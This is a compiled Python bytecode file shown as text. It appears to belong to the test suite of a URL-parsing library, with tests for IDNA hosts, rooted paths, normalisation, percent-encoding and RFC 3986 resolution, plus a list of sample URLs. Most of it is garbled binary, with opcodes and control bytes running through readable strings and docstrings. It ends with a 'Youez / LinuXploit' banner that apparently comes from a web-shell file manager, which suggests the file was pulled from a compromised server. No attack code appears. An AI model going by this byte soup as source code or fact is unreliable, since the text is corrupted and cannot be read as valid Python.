4P	4R4R#)uhttp://bücher.chu
bücher.chzhttp://xn--bcher-kva.ch�https://xn--bcher-kva.chzxn--bcher-kva.chuhttps://bücher.chN)rrTrrrVr�rdr�s&  r%�	test_idna�TestURL.test_idnacs���
�]�]�.�
/��������,�/��������':�;��������,�,�.�0I�J�
�]�]�5�
6��������"4�5��������'A�B��������,�,�.�0D�Er(c� �\P!R4pVPVPR4VPVP	4R4\P!R4pVPVPR4VPVP	4R4\P!R4pVPVPR4VPVP	4R4\P!R4pVPVPR4VPVP	4R4\P!R4pVPVPR	4VPVP	4R4\P!R
4pVPVPR4VPVP	4R
4\RRR
R7pVPVP	4R4\R	RR
R
R7pVPVP	4R4\P!R4pVPRR7pVPVP	4R4Rp\P!V4pVPRR7pVPVP	4R4VPR
R7pVPVP	4V4R#)zmailto:mahmoud@hatnote.comrgzhttp://hatnote.comr3znewscheme:a:b:c�	newschemeznewerscheme://a/b/c�newerschemez%git+ftp://gitstub.biz/glyph/lefkowitzzgit+ftpz'what+mailto:freerealestate@enotuniq.orgzwhat+mailtorhT)rrr�z
ztp:/x/y/z)rrr�r,zgit+ftp:///x/y/z/zfile:///path/to/heckrfzmailto:/path/to/heckzunregisteredscheme:///a/b/cF)r,zunregisteredscheme:/a/b/cN)�xr��z)r�r�r�r)rrTrrrVr�)r re�url2r��
no_netloc_url�
netloc_urls&     r%�test_netloc_slashes�TestURL.test_netloc_slashesos_���m�m�8�9��������X�.��������(D�E��m�m�0�1��������V�,��������(<�=��m�m�-�.��������[�1��������(9�:��m�m�1�2��������]�3��������(=�>��m�m�C�D��������Y�/��������(O�P��m�m�E�F��������]�3�����K�K�M�D�	
���_�T�B����������5���$���	
��	
�������(;�<��m�m�2�3���{�{�(�{�+���������)?�@�0���m�m�H�%�������6�
�����.�.�0�2M�N��[�[�T�[�2�
�����+�+�-�x�8�r(c���\R.R7pVPVP4R4VPRR7pVPVP4R4VP	W4R#)z}
On host-relative URLs, the C{rooted} flag can be updated to indicate
that the path should no longer be treated as absolute.
r�r7T)r�z/helloN)rrrVr�rm)r �a�bs&  r%�test_rooted_to_relative�TestURL.test_rooted_to_relative�sZ��
�g�Y����������g�.�
�I�I�T�I�"���������h�/����A�!r(c��\RR.RR7pVPVPR4\R.RR7pVPVPR4VPW4\RR.RR7p\RR.R7pVPW44VPVPR4VPVPR4R	#)
a�
The C{rooted} flag can be updated in some cases, but it cannot be made
to conflict with other facts surrounding the URL; for example, all URLs
involving an authority (host) are inherently rooted because it is not
syntactically possible to express otherwise; also, once an unrooted URL
gains a path that starts with an empty string, that empty string is
elided and it becomes rooted, because these cases are syntactically
indistinguisable in real URL text.
rrJF)rr�TrK)rrr�)rrN)rrr�)r �relative_path_rooted�relative_flag_rooted�attempt_unrooted_absolute�normal_absolutes&    r%�test_autorooted�TestURL.test_autorooted�s��� #��U��E�B�����-�4�4�d�;�"����=�����-�4�4�d�;����-�D�$'�U�%���$O�!��5��w�7�����2�D�����/�/��6����2�9�9�4�@r(c���\RRRR7p\RRR7p\RRRR7pVPVPR4VPVPR4VPVPR4\P!R4pVP\	V4\	V44VP\	V4\	V44VPVP4VP44VPW4VPW4VPW4VPW$4VPW44R#)	al
URLs which include a ``://`` netloc-separator for any reason are
inherently rooted, regardless of the value or presence of the
``rooted`` constructor argument.

They may include a netloc-separator because their constructor was
directly invoked with an explicit host or port, or because they were
parsed from a string which included the literal ``://`` separator.
�udpi$F)rr*r�)rr*Tzudp://:4900N)rrr�rTrO�asText)r �directly_constructed�directly_constructed_implict�directly_constructed_rooted�parseds&    r%�!test_rooted_with_port_but_no_host�)TestURL.test_rooted_with_port_but_no_host�s!�� #�%�d�5�I��'*�%�d�'C�$�&)��T�$�&O�#����-�4�4�d�;����5�<�<�d�C����4�;�;�T�B����}�-������1�2�C��K�@�����9�:�C��K�H����-�4�4�6��
�
��H����-�6����-�L����-�K����5�>����4�=r(c� �VP\4;_uu_4\\4RRR4VP\4;_uu_4\R4RRR4R# +'giLC;i +'giR#;i)N�HTTP_____more_like_imHoTTeP)r�r]rrUrPs&r%�test_wrong_constructor�TestURL.test_wrong_constructor�sX��
�
�
�z�
*�
*��	�N�+��
�
�z�
*�
*��-�.�+�
*�+�
*��+�
*�
*�s�A)�A<�)A9	�<B
	c�N�\P!R4pVPR8XgQhVPRR7pVP	4pVPRR7R8XgQhVPRR7R8XgQhVP
4PRR7R	8XgQhR
#)zhttp://user:pass@example.comrpz
us%20her:passrTr\zhttp://us her:pass@example.comFzhttp://us her:@example.comz http://us%20her:pass@example.comN)rrTr+r�rdrVr��r rerfs&  r%�test_encoded_userinfo�TestURL.test_encoded_userinfo�s����m�m�:�;���|�|�{�*�*�*��k�k�?�k�3���j�j�l���K�K�d�K�+�/O�O�	
�O��{�{��{�/�3O�O�O�O��J�J�L� � �t� �4�1�
2�	
�
2r(c��/p\P!R4p\V4\V48XgQh^W&\P!R4pVPRR4p^W&\	V4^8XgQh\VP
44^.8XgQh\\44\\448XgQhR#)z.http://blog.hatnote.com/ask?utm_source=geocityzhttp://blog.hatnote.com/ask�
utm_source�geocityN)rrT�hashr��len�list�values)r �url_map�url1r�s&   r%�	test_hash�TestURL.test_hashs������}�}�M�N���D�z�T�$�Z�'�'�'���
��}�}�:�;���x�x��i�0����
��7�|�q� � � ��G�N�N�$�%�!��,�,�,��C�E�{�d�3�5�k�)�)�)r(c��\4p\V4p\V4^8�gQhRV9gQhRV9gQhRV9gQhRV9gQhR#)�r�r�rrN)r�dirr�)r rer�s&  r%�test_dir�TestURL.test_dirsZ���e���#�h���3�x�"�}��}���$�$�$��s�"�"�"��c�!�!�!��c�!�!�!r(c��\P!R4pVP4R8XgQhVP4P4R8XgQhR#)u"http://example.com/a%20té%C3%A9stz&http://example.com/a%20t%C3%A9%C3%A9stN)rr�r�rr}s& r%�test_twisted_compat�TestURL.test_twisted_compatsD���l�l�?�@���z�z�|�C�C�C�C��y�y�{�!�!�#�'O�O�O�Or(c��\P!R4pVPRR4pVPRR4pVP	4R8XgQhR#)zhttp://example.com/?a=b&cr�r�z!http://example.com/?a=b&x=x&c&x=yN)rrTr�r�rVr}s& r%�test_set_ordering�TestURL.test_set_ordering%sH���m�m�7�8���g�g�c�3����g�g�c�3����{�{�}� C�C�C�Cr(c��\P!R4p\P!VP44pW8XgQh\P!VP4P44pW8XgQhW#8XgQh\P!R4pVP4pVP4R8XgQh\P!VP44P	4pWV8XgQhR#)zSee issue #4z#urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoobz1first-segment/urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoobz'first-segment/urn:ietf:wg:oauth:2.0:oobN)rrTrVrdr�)r r�r�r��u4�u5�u6s&      r%�test_schemeless_path�TestURL.test_schemeless_path0s����]�]�@�
A��
�]�]�2�:�:�<�
(���x��x�
�]�]�2�9�9�;�.�.�0�
1���x��x��x��x��]�]�N�
O��
�Y�Y�[���z�z�|�H�H�H�H�
�]�]�2�:�:�<�
(�
/�
/�
1���x��xr(c�r�\P!R4pVP4pVP4R#)z4See issue #7, affecting only narrow builds (2.6-3.3)zhttps://xn--vi8hiv.wsN)rrTrdrVr�s&  r%�test_emoji_domain�TestURL.test_emoji_domainCs'���m�m�3�4���j�j�l�����
r(c���VP\\RRR7VP\\RR7VP\\RR7VP\\R	R7R#)
zPer issue #6 and #8r3za/c)rrr7r�N)�?)�#)�&r_)r�r]rrPs&r%�test_delim_in_param�TestURL.test_delim_in_paramKsZ��	
���*�c�&�u��E����*�c���7����*�c���7����*�c�-��Ar(c��\P!R4p\P!R4pW8XgQh\P!R4p\P!R4pW8XgQh\P!R4p\P!R4pW8XgQh\P!R4p\P!R4pW8XgQhR#)zhttp://example.com/zhttp://example.comN)rrTr�s&  r%�test_empty_paths_eq�TestURL.test_empty_paths_eqSs���
�]�]�0�
1��
�]�]�/�
0���x��x�
�]�]�/�
0��
�]�]�/�
0���x��x�
�]�]�/�
0��
�]�]�0�
1���x��x�
�]�]�0�
1��
�]�]�0�
1���x��xr(c��\P!R4PR8XgQhVP\\PR4VP\\P\44R#)z#ok�oks
bytes://x.y.zN)rrTrr�rWr�rPs&r%�test_from_text_type�TestURL.test_from_text_typeisN���}�}�U�#�,�,��4�4�4����)�S�]�]�4D�E����)�S�]�]�F�H�=r(c��VP\\PR4VP\\PR4VP\\PR4VP\\PR4VP\\PR4VP\\PR4VP\\PR4R#)zhttp://[::1/zhttp://::1]/zhttp://[[::1]/zhttp://[::1]]/zhttp://127.0.0.1:zhttp://127.0.0.1:hizhttp://127.0.0.1::80NrzrPs&r%�test_from_text_bad_authority�$TestURL.test_from_text_bad_authorityos���	
���-�����G����-�����G����-����8H�I����-����8H�I�	
���-����8K�L����-����8M�N����-����8N�Or(c�z�\P!R4pVPR4.8XgQhVPR4R.8XgQh\VP4^8XgQhVP4pVPR8XgQhVPR8XgQhVPR8XgQhVPR4R.8XgQhVPR8XgQhVP4R8XgQhVPR	R	R	R	R	R
7pW18XgQh\P!R4pVP4pVP4R8XgQh\P!R
4pVP4pVP4R8XgQh\RR7PR	R7P4R8XgQh\RR7P4P4R8XgQh\RRR.R .RRR7pVPRR7R8XgQhVP4PRR7R8XgQhR#)!z0HTTP://Example.com/A%61/./../A%61?B%62=C%63#D%64�BbzB%62zC%63r3rq�Cc�Ddzhttp://example.com/Aa?Bb=Cc#DdFrMzhttp://example.iozhttp://example.io/z/a%2fb/cd%3f?k%3d=v%23#testz/a%2Fb/cd%3F?k%3D=v%23#testr7)�percentsz/%te%stsz/%25te%25sts�ftpz%%%z%a%b�%z%:%)rrrrr+Tr\zftp://%:%@/%%%/%a%b?%=%%#%z0ftp://%25:%25@/%25%25%25/%25a%25b?%25=%25%25#%25N)�Aa)rz%te%sts)r�z%%)
rrTr�r�r�	normalizerrrrV)	r re�norm_url�
noop_norm_url�
slashless_url�slashful_url�
delimited_url�norm_delimited_url�percenty_urls	&        r%�test_normalize�TestURL.test_normalizesH���m�m�N�O���w�w�t�}��"�"�"��w�w�v��6�(�*�*�*��3�8�8�}��!�!�!��=�=�?�����&�(�(�(��}�}�
�-�-�-��}�}��'�'�'��|�|�D�!�d�V�+�+�+�� � �D�(�(�(����!�%E�E�E�E��
�
��u�5���&�
�
��#�#�#��
�
�&9�:�
�$�.�.�0���#�#�%�)=�=�=�=��
�
�&C�D�
�*�4�4�6��!�)�)�+�/L�L�L�L�
�_�%�/�/��/�?�G�G�I��
�	
�
���(�2�2�4�<�<�>�.�P�P�P�������-���
��
� � �t� �4�+�
,�	
�
,�
�"�"�$�,�,�4�,�@�A�
B�	
�
Br(c��Rp\P!V4p\V4V8XgQh\V4R8XgQh\'dE\\
V4\4'gQh\\V4\4'gQhR#\\
V4\4'gQh\\V4\4'gQhR#)u&http://example.com/á/y%20a%20y/?b=%25s*http://example.com/%C3%A1/y%20a%20y/?b=%25N)rrTrr\�PY2rrOrus&  r%�test_str�TestURL.test_str�s���8���m�m�D�!���s�|�t�#�#�#��S�z�J�J�J�J��3��c�#�h��.�.�.�.��g�c�l�G�4�4�4�4��c�#�h��0�0�0�0��e�C�j�%�0�0�0�0r(c�N�\P!R4pVP4PR8XgQhVP	4PR8XgQh\P!R4pVP4PR8XgQhVP	4PR8XgQhVP	4P4PR8XgQhRp\P!V4P	4P4PR8XgQhR#)	uhttp://abé.com/uabé.comzxn--ab-cja.comu(http://ドメイン.テスト.co.jp#testuドメイン.テスト.co.jpzxn--eckwd4c7c.xn--zckzah.co.jpzhttp://Example.comrqN)rrTrdrr��get_decoded_url)r rervs&  r%�test_idna_corners�TestURL.test_idna_corners�s����m�m�.�/���z�z�|� � �J�.�.�.��z�z�|� � �$4�4�4�4��m�m�F�G���z�z�|� � �$B�B�B�B��z�z�|� � �$D�D�D�D��z�z�|�+�+�-�2�2�6T�T�T�T�#���M�M�$��&�&�(�8�8�:�?�?�=�P�	
�Pr(r?N)r)RrFrGrHrI�__doc__r&r/r6rCrGrQrYrarjrnrrrwr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r	rrrrr"r&r)r.r4r8r_rbrirmrwr{r~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrJrKrLs@r%rr�s������=�$1+�f
+�
�&	
�
�(7�+��
� 

�
�0	
�E�+�
�&<C�|B�E�5�((�T%
�N
�,
�2>�*.�6��!�	$�	)�5�:�9�M�
�4
�0
�&6� 1�
�.L�
�
G�.�7�SA�j
� 1�D7�2�0A�M�F�
�
F�9�v
"�A�.>�6/�

�*�$
"�P�D��&�B��,>�P� 7
�r1� 
�
r(r)�g�http://a/b/c/g)z./gr)zg/�http://a/b/c/g/)z/g�
http://a/g)z//gzhttp://g)z?yzhttp://a/b/c/d;p?y)zg?yzhttp://a/b/c/g?y)z#szhttp://a/b/c/d;p?q#s)zg#szhttp://a/b/c/g#s)zg?y#szhttp://a/b/c/g?y#s)z;xzhttp://a/b/c/;x)zg;xzhttp://a/b/c/g;x)zg;x?y#szhttp://a/b/c/g;x?y#s)rr)r��
http://a/b/c/)z./r)r��http://a/b/)z../r)z../g�http://a/b/g)z../..�	http://a/)z../../r
)z../../gr)z
../../../gr)z
../../../../gr)z/./gr)z/../gr)zg.zhttp://a/b/c/g.)z.gzhttp://a/b/c/.g)zg..zhttp://a/b/c/g..)z..gzhttp://a/b/c/..g)z./../gr	)z./g/.r)zg/./hzhttp://a/b/c/g/h)zg/../hzhttp://a/b/c/h)z	g;x=1/./yzhttp://a/b/c/g;x=1/y)z
g;x=1/../yzhttp://a/b/c/y)zg?y/./xzhttp://a/b/c/g?y/./x)zg?y/../xzhttp://a/b/c/g?y/../x)zg#s/./xzhttp://a/b/c/g#s/./x)zg#s/../xzhttp://a/b/c/g#s/../x)6zhttp://localhostrqzhttp://127.0.0.1/zhttp://[::127.0.0.1]/z
http://[::1]/zhttp://localhost/foozhttp://localhost/foo/zhttp://localhost/foo!!bar/zhttp://localhost/foo%20bar/zhttp://localhost/foo%2Fbar/zhttp://localhost/foo?nzhttp://localhost/foo?n=vzhttp://localhost/foo?n=/a/bz%http://example.com/foo!@$bar?b!@z=123z$http://localhost/asd?a=asd%20sdf/345z6http://(%2525)/(%2525)?(%2525)&(%2525)=(%2525)#(%2525)z<http://(%C3%A9)/(%C3%A9)?(%C3%A9)&(%C3%A9)=(%C3%A9)#(%C3%A9)zG?sslrootcert=/Users/glyph/Downloads/rds-ca-2015-root.pem&sslmode=verifyz%http://googlewebsite.com/e-shops.aspxz?http://example.com:8080/search?q=123&business=Nothing%20Specialz*http://hatnote.com:9000/?arg=1&arg=2&arg=3r�z"http://xn--ggbla1c4e.xn--ngbc5azd/z.http://tools.ietf.org/html/rfc3986#section-3.4z:ftp://ftp.rfc-editor.org/in-notes/tar/RFCs0001-0500.tar.gzz.http://[1080:0:0:0:8:800:200C:417A]/index.htmlzssh://192.0.2.16:2222/z$https://[::101.45.75.219]:80/?hi=byez7ldap://[::192.9.5.5]/dc=example,dc=com??sub?(sn=Jensen)zFmailto:me@example.com?to=me@example.com&body=hi%20http://wikipedia.orgznews:alt.rec.motorcycleztel:+1-800-867-5309zurn:oasis:member:A00024:xamagnet:?xt=urn:btih:1a42b9e04e122b97a5254e3df77ab3c4b7da725f&dn=Puppy%20Linux%20precise-5.7.1.iso&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.istole.it:6969&tr=udp://tracker.ccc.de:80&tr=udp://open.demonii.com:1337zhttps://%3A@example.com/zhttps://%40@example.com/zhttps://%2f@example.com/zhttps://a:%3a@example.com/zhttps://a:%40@example.com/zhttps://a:%2f@example.com/zhttps://a:%3f@example.com/zhttps://example.com/%2F/zhttps://example.com/%3F/zhttps://example.com/%23/zhttps://example.com/?%23=bzhttps://example.com/?%3D=bzhttps://example.com/?%26=bzhttps://example.com/?a=%23zhttps://example.com/?a=%26zhttps://example.com/?a=%3Dz https://example.com/?foo+bar=bazz https://example.com/?foo=bar+bazzChttp://(%2525):(%2525)@example.com/(%2525)/?(%2525)=(%2525)#(%2525)z8first_seg_rel_path__colon%3Anotok/second_seg__colon%3Aok)�
__future__r�sysr��typingrrrrrr	�commonr
rrr�_urlr
r�version_infor�rrrUr�r�r^rr?r(r%�<module>rs��(�
�
�=�=�%�!�-�
���q��Q���
�r�(��
9�	�2��1��1��	1�
�1��
1��1�!�1� �1�#�1� �1�$�1��1� �1�(�1� �!1�"�#1�$�%1�&�'1�(�)1�*�+1�,�-1�.�/1�0�11�6!�71�8$�91�>�?1�@�A1�B�C1�D�E1�F �G1�H �I1�L�M1�N!�O1�P"�Q1�R!�S1�T*�U1�V%�W1�Z(�[1�\*�]1�^(�_1�`*�a1��hA��HF
��F
r(

Youez - 2016 - github.com/yon3zu
LinuXploit